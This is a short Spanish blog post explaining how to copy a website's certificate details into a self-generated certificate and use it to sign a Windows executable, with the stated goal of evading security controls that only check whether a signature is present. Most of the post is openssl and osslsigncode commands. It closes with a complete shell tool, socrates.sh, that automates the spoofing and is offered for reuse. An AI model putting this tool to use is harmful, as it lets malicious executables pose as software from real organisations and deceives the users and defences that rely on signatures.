"Clonar" certificado de un sitio web en un PEfile.
Esta publicación es bastante corta. Muestro como se puede “clonar” un certificado de cualquier sitio web (que lo tenga) con el fin de usarlo para firmar un ejecutable y de esa forma hacer bypass a diferentes controles de seguridad.
SI bien es cierto no es una “clonación” del certificado ya que habría que tener la llave privada para eso. Es una suerte de spoofing adquiriendo datos del proveedor y cierta información adicional. Así que por eso pongo entre comillas lo de clonar. Dicho esto paso a explicar el procedimiento.
Como ya sabemos los algunos sitios tienen esto del https:// que implementa un certificado SSL o TLS en el sitio web. Lo que haré será recuperar el certificado X.509 asociado al protocolo de seguridad; y para esto usare openssl. Básicamente el flujo es el siguiente:
- Recuperar el certificado remoto
- Crear un nuevo certificado X.509
- Modificar el certificado creado con los datos recuperados.
Es decir que el ejecutable que firmes; tendrá una firma hecha por ti, pero con datos que modificaremos. Creo que esta de más decir que el fingerprint será diferente; dado que es otro certificado (jeje). Pero no importa, realmente muchos controles de seguridad solo validan la existencia de la firma y los datos de ella. Bueno no voy a entrar en detalles porque quiero que esta publicación sea corta.
Primero seleccionas un sitio que tenga un certificado (usaré como ejemplo este sitio web). Voy a almacenar esto en un archivo llamado synawk.out.
#
openssl s_client -connect www.synawk.com:443 > "synawk.out"
Ahora extraigo los datos que voy a clonar; en este caso necesito la llave pública y datos varios:
#
cat synawk.out | openssl x509 -pubkey -noout > "synawk.pem"
cat synawk.out | openssl x509 -serial -subject -issuer -startdate -enddate -noout >"synawk.info"
Ya tengo la public key y los datos como el subject el serial etc. Voy a colocarlos en variables independientes y en el formato que corresponde
#cloning
SUBJECT=/$(cat synawk.info | grep subject |cut -d'=' -f2- | sed -e "s: = :=:g" | sed -e "s:, :/:g")
ISSUER=/$(cat synawk.info | grep issuer |cut -d'=' -f2- | sed -e "s: = :=:g" | sed -e "s:, :/:g")
SERIAL=0x$(cat synawk.info | grep serial |cut -d'=' -f2-)
#Si quieres también clonas esto
NOTBEFORE=$(cat synawk.info | grep notBefore |cut -d'=' -f2-)
NOTAFTER=$(cat synawk.info | grep notAfter |cut -d'=' -f2-)
Ya tengo todo. Ahora solo queda hacer el proceso natural de generar un certificado X.509
#Creo una nueva key
openssl genrsa 2048 > synawk-ca.key
#genero un ca con el issuer que corresponde ..
openssl req -new -x509 -nodes -days 365 -key synawk-ca.key -out synawk.ca -subj "$ISSUER"
#ahora "firmo" esa key con el issuer (CA) que he creado
openssl req -newkey rsa:2048 -nodes -days 365000 -keyout synawk.key -out synawk.crt -subj "$SUBJECT"
#Finalmente creo mi certificado
openssl x509 -req -days 365 \
-in synawk.crt \
-out synawk.cert \
-CA synawk.ca \
-CAkey synawk-ca.key \
-set_serial $SERIAL
Para poder firmar un ejecutable necesito generar un certificado pkcs12 (PFX).
#
openssl pkcs12 -keypbe PBE-SHA1-3DES -certpbe PBE-SHA1-3DES -export -in synawk.cert -inkey synawk.key\
-out synawk.pfx -name "Synawk Inc." -passout pass:
Finalmente firmas tu ejecutable con la herramienta que quieras signtool.exe si estas en Windows o como yo osslsigncode si estas en GNU/Linux.
osslsigncode sign -pkcs12 synawk.pfx -n "Synawk App" -i \
http://sha256timestamp.ws.symantec.com/sha256/timestamp -in \
main.exe -out signed-main.exe
He convertido esto en una tool en shell para automatizar el tema.
#!/bin/sh
#socrates.sh
#clone certificate form remote site
#by synawk
#req
# openssl - osslsigncode
CERTS_FOLDER=certs/
mkdir -p $CERTS_FOLDER
URL=$1
CORP="Fake Corporation Inc."
FAKE="Synawk App"
if [ "$#" -ne 3 ] ; then
echo "Usage: $0 www.synawk.com main.exe signed.exe" >&2
exit 1
fi
echo "[^] Cloning!"
openssl s_client -connect $URL:443 > "$CERTS_FOLDER/signature.out"
cat "$CERTS_FOLDER/signature.out" | openssl x509 -pubkey -noout > "$CERTS_FOLDER/signature.pem"
cat "$CERTS_FOLDER/signature.out" | openssl x509 -serial -subject -issuer -startdate -enddate -noout >"$CERTS_FOLDER/signature.info"
#cloning
SUBJECT=/$(cat $CERTS_FOLDER/signature.info | grep subject |cut -d'=' -f2- | sed -e "s: = :=:g" | sed -e "s:, :/:g")
ISSUER=/$(cat $CERTS_FOLDER/signature.info | grep issuer |cut -d'=' -f2- | sed -e "s: = :=:g" | sed -e "s:, :/:g")
SERIAL=0x$(cat $CERTS_FOLDER/signature.info | grep serial |cut -d'=' -f2-)
#falta hacer spoof a estos 2
NOTBEFORE=$(cat $CERTS_FOLDER/signature.info | grep notBefore |cut -d'=' -f2-)
NOTAFTER=$(cat $CERTS_FOLDER/signature.info | grep notAfter |cut -d'=' -f2-)
##temp crt
#generic key
openssl genrsa 2048 > $CERTS_FOLDER/signature-ca.key
openssl req -new -x509 -nodes -days 365 -key $CERTS_FOLDER/signature-ca.key -out $CERTS_FOLDER/signature.ca -subj "$ISSUER"
openssl req -newkey rsa:2048 -nodes -days 365000 -keyout $CERTS_FOLDER/signature.key -out $CERTS_FOLDER/signature.crt -subj "$SUBJECT"
openssl x509 -req -days 365 \
-in $CERTS_FOLDER/signature.crt \
-out $CERTS_FOLDER/signature.cert \
-CA $CERTS_FOLDER/signature.ca \
-CAkey $CERTS_FOLDER/signature-ca.key \
-set_serial $SERIAL
openssl pkcs12 -keypbe PBE-SHA1-3DES -certpbe PBE-SHA1-3DES -export -in $CERTS_FOLDER/signature.cert -inkey $CERTS_FOLDER/signature.key\
-out $CERTS_FOLDER/signature.pfx -name "$CORP" -passout pass:
osslsigncode sign -pkcs12 $CERTS_FOLDER/signature.pfx -n "$FAKE" -i \
http://sha256timestamp.ws.symantec.com/sha256/timestamp -in \
$2 -out $3
echo "[^] Cleaning!"
rm -rf $CERTS_FOLDER
echo "[^] Finished!"
Para usarlo solo debes correrlo pasando el dominio a clonar, el ejecutable a firmar y un nombre de salida; algo así:
./socrates.sh www.synawk.com main.exe signed.exe
Y pues eso es todo; puedes hacer las modificaciones que creas convenientes.